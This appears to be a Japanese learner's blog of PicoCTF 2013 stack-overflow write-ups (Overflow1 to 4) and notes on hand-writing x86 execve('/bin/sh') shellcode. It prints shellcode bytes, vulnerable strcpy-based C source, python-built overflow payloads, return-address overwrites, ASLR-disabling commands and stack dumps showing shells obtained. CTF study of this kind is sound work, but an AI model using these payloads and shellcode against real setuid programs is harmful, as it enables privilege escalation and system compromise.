/bin/shを起動するシェルコード(x86) その3

更にバイト数を削れたのでメモ。と思ったけど、eaxへの代入にバイト数を割いていて、今回も21bytesだった。

今回は文字列の終端に0x00が必要だったので、//shではなく/shになっている。

# objdump -d -Mintel c.out | grep -A6 \<main\>
080483ed <main>:
 80483ed:       31 c9                   xor    ecx,ecx
 80483ef:       68 2f 73 68 00          push   0x68732f
 80483f4:       68 2f 62 69 6e          push   0x6e69622f
 80483f9:       89 e3                   mov    ebx,esp
 80483fb:       b8 0b 00 00 00          mov    eax,0xb
 8048400:       cd 80                   int    0x80
# gcc -m32 -o c.out c.s
# ./c.out
# exit

レジスタとスタックは以下のようになっているはず。

f:id:boblice:20171019001425p:plain

今回のようにNullバイト(0x00)が入っていると、strcpyなどを使ったときにシェルコードのコピーがうまくされない。0x00は文字列の終端として扱われるため。そのため、本来はNullバイトが無いシェルコードの方が使い勝手がよいものと思われる。

参考 Linux x86用のシェルコードを書いてみる - ももいろテクノロジー

/bin/shを起動するシェルコード(x86) その2

前回よりもシェルコードを短くできたのでメモ。 前回は23bytes、今回は21bytes。

# objdump -d -Mintel b.out | grep -A8 \<main\>
080483ed <main>:
 80483ed:       31 c0                   xor    eax,eax
 80483ef:       50                      push   eax
 80483f0:       89 e1                   mov    ecx,esp
 80483f2:       68 2f 2f 73 68          push   0x68732f2f
 80483f7:       68 2f 62 69 6e          push   0x6e69622f
 80483fc:       89 e3                   mov    ebx,esp
 80483fe:       b0 0b                   mov    al,0xb
 8048400:       cd 80                   int    0x80

前回はプロンプトがsh-4.2#に変化して分かりやすかったが、今回はプロンプトが変わらないがシェルは取れる。 execveの第三引数envpが絡んでいるかも?

# gcc -m32 -o b.out b.s
# ./b.out
# exit

レジスタとスタックは以下のようになっているはず。

f:id:boblice:20171018234545p:plain

参考 EXECVEの仕様 https://linuxjm.osdn.jp/html/LDP_man-pages/man2/execve.2.html

/bin/shを起動するシェルコード(x86)

単純なオーバフローを起こすと解けるpwnは解けるようになってきた。 ただ、shellcodeが必要な問題だと、shellcodeをどこからか持ってこないといけない。 それだと応用が効かないので、shellcodeを作れるようになりたいと思う。 そのためにまずは、shellcodeとして使えるアセンブリのビルド方法を調べて試してみた。

以下はx86マシン(32bit)でshellを起動するアセンブリコード

# cat a.s
.intel_syntax noprefix # Intel記法を使うにはこの記述が必要らしい
.globl main
main:
        xor eax, eax    # eaxをゼロクリア
        push eax
        push 0x68732f2f # //sh ※エンディアン注意。影響のない"/"を追加して4バイトにしている、たぶん。
        push 0x6e69622f # /bin ※エンディアン注意
        mov ebx, esp
        push eax
        push ebx
        mov ecx, esp
        mov al, 0xb     # システムコール番号(11)の設定
        int 0x80        # システムコール(execve)

以下のようにgccで実行ファイルを生成可能。

# gcc -m32 a.s
# ./a.out
sh-4.2#

これをobjdumpしてあげるとshellcodeがわかる。

# objdump -d -Mintel a.out | grep -A10 \<main\>
080483ed <main>:
 80483ed:       31 c0                   xor    eax,eax
 80483ef:       50                      push   eax
 80483f0:       68 2f 2f 73 68          push   0x68732f2f
 80483f5:       68 2f 62 69 6e          push   0x6e69622f
 80483fa:       89 e3                   mov    ebx,esp
 80483fc:       50                      push   eax
 80483fd:       53                      push   ebx
 80483fe:       89 e1                   mov    ecx,esp
 8048400:       b0 0b                   mov    al,0xb
 8048402:       cd 80                   int    0x80

レジスタとスタックの様子を図示してみた。レジスタとスタックに適切な値を設定してから、システムコール(int 0x80)を実行すればよいことがわかる。

f:id:boblice:20171018233325p:plain

なお、システムコール番号はausyscallコマンドで調べられる。

# ausyscall i686 --dump | grep '^11\s'
11      execve

以下のコードを参考に勉強させて頂きました。

Linux/x86 - execve /bin/sh shellcode - 23 bytes

PicoCTF2013 Overflow4 Writeup

今回は一応できたけど、非常にもやもやしたまま。すっきりしない。

問題編

問題文

Category: Binary Exploitation Points: 150 Description:

Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general.
Problem available on the shell machine in /problems/stack_overflow_4_4834efeff17abdfb , downloadable here with source here.
If you solve the problem you will be able to read the key file by running
cat /problems/stack_overflow_4_4834efeff17abdfb/key on the PicoCTF shell machine.
HINT: Gonna need some shellcode. Luckily some is provided for you in the directory on the shell machine.

ソースコード

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run a shell.
 */

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow_shellcode [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(argv[1]);
    return 0;
}

解答編

まずはいつもの調査。

# file overflow4-4834efeff17abdfb
overflow4-4834efeff17abdfb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ae134398f8b02334bc124c467b4ad1dc234006bb, not stripped

# gdb -q ./overflow4-4834efeff17abdfb -ex checksec -ex q
Reading symbols from /root/ctf/picoCTF2013/Overflow4/overflow4-4834efeff17abdfb...done.
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

ソースコード中にシェル起動に役立ちそうな関数が無いことと、NXがDisableになっていることから、 スタックにシェルコードを注入して実行する問題だという推測までは自力でできた。

ただ、実行ごとにスタックのアドレスが変わってしまい、その対処が自力ではどうにもならなかった。 katagaitai勉強会#2の32ページに書いてある nop-sledという手法を自分なりに試してみたが、bashの引数に指定できる文字列の長さ制限もあり、 シェルコードを実行させることはできず、ギブアップ。

nop-sledを試してみたコード

# ./overflow4-4834efeff17abdfb $(python -c 'import sys; sys.stdout.write("\x90"*72); sys.stdout.write("\x04\x04\xff\xff\x04\x04\x87\xff"); sys.stdout.write("\x90"*100000); sys.stdout.write("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")')
Stack dump:
0xff84ba70: 0x90909090 (first argument)
0xff84ba6c: 0xff870404 (saved eip)
0xff84ba68: 0xffff0404 (saved ebp)
0xff84ba64: 0x90909090
0xff84ba60: 0x90909090
0xff84ba5c: 0x90909090
0xff84ba58: 0x90909090
0xff84ba54: 0x90909090
0xff84ba50: 0x90909090
0xff84ba4c: 0x90909090
0xff84ba48: 0x90909090
0xff84ba44: 0x90909090
0xff84ba40: 0x90909090
0xff84ba3c: 0x90909090
0xff84ba38: 0x90909090
0xff84ba34: 0x90909090
0xff84ba30: 0x90909090
0xff84ba2c: 0x90909090
0xff84ba28: 0x90909090
0xff84ba24: 0x90909090
0xff84ba20: 0x90909090 (beginning of buffer)
Segmentation fault (コアダンプ)

※実行ごとにスタックアドレスが変わる。

ここで他人様のWriteupをチラ見。

write-ups-2013/pico-ctf-2013/overflow-4 at master · ctfs/write-ups-2013 · GitHub

スタックアドレスが変わってしまうことの対処にはASLRを無効にすればよいことに気づく。

LinuxのASLRの設定を確認し、無効化(=0)設定にする。

# cat /proc/sys/kernel/randomize_va_space
2

# echo 0 > /proc/sys/kernel/randomize_va_space

# cat /proc/sys/kernel/randomize_va_space
0

あとはスタックにシェルコードを流し込んで、そこにEIPを移せばシェルが取れるはず。 と思って、自分で探してきたシェルコードを試してみたがうまくいかず。。。 ここでもギブアップ。

今度は他人様のWriteupをガン見。(シェルコードもそのまま流用)

# setarch `uname -m` -R ./overflow4-4834efeff17abdfb $(python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80");sys.stdout.write("A"*55); sys.stdout.write("\x50\xd5\xff\xff")')
Stack dump:
0xffffd5a0: 0xffffd700 (first argument)
0xffffd59c: 0xffffd550 (saved eip)
0xffffd598: 0x41414141 (saved ebp)
0xffffd594: 0x41414141
0xffffd590: 0x41414141
0xffffd58c: 0x41414141
0xffffd588: 0x41414141
0xffffd584: 0x41414141
0xffffd580: 0x41414141
0xffffd57c: 0x41414141
0xffffd578: 0x41414141
0xffffd574: 0x41414141
0xffffd570: 0x41414141
0xffffd56c: 0x41414141
0xffffd568: 0x41414141
0xffffd564: 0x41414180
0xffffd560: 0xcde3896e
0xffffd55c: 0x69622f68
0xffffd558: 0x68732f2f
0xffffd554: 0x68510bb0
0xffffd550: 0xe1f7c931 (beginning of buffer)
# ls

わかりづらいが、一応新しいシェルは起動している様子。

先頭に'setarch uname -m -R ‘を付けないとうまくいかない模様。 また、シェルコードにもうまく動くものとうまく動かないものがある模様。(環境依存?)

もやもや

  • ASLRの無効化方法として、/proc/sys/kernel/randomize_va_spaceを変更するやり方とsetarchで起動するやり方では効果が違うのか?
  • 環境によって動くシェルコードが違うのか?

PicoCTF2013 Overflow3 Writeup

問題編

問題文

Category: Binary Exploitation Points: 120 Description:

Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general.
Problem available on the shell machine in /problems/stack_overflow_3_28d8a442fb232c0c , downloadable here with source here.
If you solve the problem you will be able to read the key file by running
cat /problems/stack_overflow_3_28d8a442fb232c0c/key on the PicoCTF shell machine.
Hint: objdump -d is a handy tool for this sort of thing.

ソースコード

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run this function.
 */
void shell(void) {
    execl("/bin/sh", "sh", NULL);
}

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    printf("shell function = %p\n", shell);
    vuln(argv[1]);
    return 0;
}

解答編

一度実行して、shell関数のアドレスを確認する。(2回目も実行してアドレスが変わらないことも確認する。) 戻りアドレスを変更してシェルを取る。

# ./overflow3-28d8a442fb232c0c a
shell function = 0x80485f8


# ./overflow3-28d8a442fb232c0c $(python -c 'import sys; sys.stdout.write("A"*76); sys.stdout.write("\xf8\x85\x04\x08")')
shell function = 0x80485f8
Stack dump:
0xffc05510: 0xffc06700 (first argument)
0xffc0550c: 0x080485f8 (saved eip)
0xffc05508: 0x41414141 (saved ebp)
0xffc05504: 0x41414141
0xffc05500: 0x41414141
0xffc054fc: 0x41414141
0xffc054f8: 0x41414141
0xffc054f4: 0x41414141
0xffc054f0: 0x41414141
0xffc054ec: 0x41414141
0xffc054e8: 0x41414141
0xffc054e4: 0x41414141
0xffc054e0: 0x41414141
0xffc054dc: 0x41414141
0xffc054d8: 0x41414141
0xffc054d4: 0x41414141
0xffc054d0: 0x41414141
0xffc054cc: 0x41414141
0xffc054c8: 0x41414141
0xffc054c4: 0x41414141
0xffc054c0: 0x41414141 (beginning of buffer)
sh-4.2# ls

PicoCTF2013 Overflow2 Writeup

問題編

問題文

Category: Binary Exploitation Points: 100 Description:

Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general.
Problem available on the shell machine in /problems/stack_overflow_2_44e63640e033ff2b , downloadable here with source here.
If you solve the problem you will be able to read the key file by running
cat /problems/stack_overflow_2_44e63640e033ff2b/key on the PicoCTF shell machine.
Hint: A function's arguments live on top of its stack frame, above its saved ebp and return address. Make sure not to clobber those, though...

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

void vuln(int win, char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 23, (void **) &win);
    printf("win = %d\n", win);
    if (win == 1) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Sorry, you lose.\n");
    }
    exit(0);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: stack_overwrite [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(0, argv[1]);
    return 0;
}

解答編

main関数からvuln関数の第一引数が固定値0で渡されているが、それを変更すればよい。 戻りアドレスの直後がmain関数から渡される第一引数。

# ./overflow2-44e63640e033ff2b $(python -c 'import sys; sys.stdout.write("A"*80); sys.stdout.write("\x01")')
Stack dump:
0xffe7fac8: 0x00000000
0xffe7fac4: 0xffe807a0 (second argument)
0xffe7fac0: 0x00000001 (first argument)
0xffe7fabc: 0x41414141 (saved eip)
0xffe7fab8: 0x41414141 (saved ebp)
0xffe7fab4: 0x41414141
0xffe7fab0: 0x41414141
0xffe7faac: 0x41414141
0xffe7faa8: 0x41414141
0xffe7faa4: 0x41414141
0xffe7faa0: 0x41414141
0xffe7fa9c: 0x41414141
0xffe7fa98: 0x41414141
0xffe7fa94: 0x41414141
0xffe7fa90: 0x41414141
0xffe7fa8c: 0x41414141
0xffe7fa88: 0x41414141
0xffe7fa84: 0x41414141
0xffe7fa80: 0x41414141
0xffe7fa7c: 0x41414141
0xffe7fa78: 0x41414141
0xffe7fa74: 0x41414141
0xffe7fa70: 0x41414141 (beginning of buffer)
win = 1
sh-4.2# ls

PicoCTF2013 Overflow1 Writeup

ROP3が難しすぎるので、Overflow1を先に解くことに。

問題編

問題文

Category: Binary Exploitation Points: 90 Description:

Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general.
Problem available on the shell machine in /problems/stack_overflow_1_3948d17028101c40 , downloadable here with source here.
If you solve the problem you will be able to read the key file by running
cat /problems/stack_overflow_1_3948d17028101c40/key
on the PicoCTF shell machine
**Hint:**n general, the compiler will put things on the stack in the order they appear in the code. Also google 'endianness'

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

void vuln(int tmp, char *str) {
    int win = tmp;
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 23, (void **) &tmp);
    printf("win = %d\n", win);
    if (win == 1) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Sorry, you lose.\n");
    }
    exit(0);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: stack_overwrite [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(0, argv[1]);
    return 0;
}

解答編

ソースコードを読むとvuln関数内のローカル変数winに値1を代入すればシェルが取れることがわかる。

ローカル配列bufとローカル変数winは連続しているので、bufをオーバフローさせればwinに値を代入できる。

引数に英数字以外のコード(0x01など)をどのように指定するかが少し迷ったが、 $()でpythonコードを実行させることで解決した。

# ./overflow1-3948d17028101c40 $(python -c 'import sys; sys.stdout.write("A"*64); sys.stdout.write("\x01")')
Stack dump:
0xffd71b74: 0xffd727b0 (second argument)
0xffd71b70: 0x00000000 (first argument)
0xffd71b6c: 0x0804870f (saved eip)
0xffd71b68: 0xffd71b98 (saved ebp)
0xffd71b64: 0xf7742000
0xffd71b60: 0xf7641537
0xffd71b5c: 0x00000001
0xffd71b58: 0x41414141
0xffd71b54: 0x41414141
0xffd71b50: 0x41414141
0xffd71b4c: 0x41414141
0xffd71b48: 0x41414141
0xffd71b44: 0x41414141
0xffd71b40: 0x41414141
0xffd71b3c: 0x41414141
0xffd71b38: 0x41414141
0xffd71b34: 0x41414141
0xffd71b30: 0x41414141
0xffd71b2c: 0x41414141
0xffd71b28: 0x41414141
0xffd71b24: 0x41414141
0xffd71b20: 0x41414141
0xffd71b1c: 0x41414141 (beginning of buffer)
win = 1
sh-4.2# ls

学んだこと

  • 引数に任意の入力(0x01など)を与える場合、$()内にpythonでコードを記述するとよい